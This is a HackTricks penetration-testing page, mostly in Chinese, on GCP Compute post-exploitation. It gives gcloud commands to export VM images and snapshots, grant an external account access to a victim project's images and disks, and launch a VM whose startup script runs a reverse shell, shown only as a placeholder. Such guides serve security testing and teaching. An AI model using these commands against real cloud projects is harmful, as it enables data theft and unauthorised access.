GCP - Compute Post Exploitation

支持 HackTricks

Compute

有关 Compute 和 VPC(网络)的更多信息,请查看:

GCP - Compute Enum

导出和本地检查镜像

这将允许攻击者访问已存在镜像中的数据创建运行中的 VM 的新镜像,并在不访问运行中的 VM 的情况下访问其数据。

可以将 VM 镜像导出到一个 bucket,然后下载并使用以下命令在本地挂载:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

在执行此操作之前,攻击者可能需要对存储桶的权限,并且需要对cloudbuild的权限,因为这是将被要求执行导出的服务 此外,为了使其工作,codebuild SA和compute SA需要特权权限。 cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com 需要:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

而SA <project-id>-compute@developer.gserviceaccount.com 需要:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

本地导出和检查快照和磁盘

无法直接导出快照和磁盘,但可以将快照转换为磁盘,将磁盘转换为镜像,并按照前一节,导出该镜像以在本地检查

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

通过创建 VM 检查镜像

为了访问存储在镜像中的数据运行中的 VM 内部的数据,攻击者可以创建一个镜像,并授予外部账户对该镜像的访问权限:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

然后从中创建一个新的 VM:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

如果你无法通过镜像给你的外部账户访问权限,你可以在受害者的项目中使用该镜像启动一个VM,并让元数据执行反向shell来访问镜像,添加参数:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

为了访问存储在磁盘或快照中的数据,你可以将快照转换为磁盘,将磁盘转换为镜像,然后按照前面的步骤进行操作。

或者你可以授予外部账户访问权限(如果起点是快照,则授予快照访问权限或从中创建磁盘):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

将磁盘附加到一个实例:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

将磁盘挂载到虚拟机内:

  1. SSH进入虚拟机

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. 识别磁盘:进入虚拟机后,通过列出磁盘设备来识别新磁盘。通常可以找到类似/dev/sdb/dev/sdc等设备。

  2. 格式化并挂载磁盘(如果是新磁盘或原始磁盘):

  • 创建挂载点:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • 挂载磁盘:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

如果无法给外部项目访问快照或磁盘的权限,你可能需要在与快照/磁盘相同项目的实例内执行这些操作

支持HackTricks

Last updated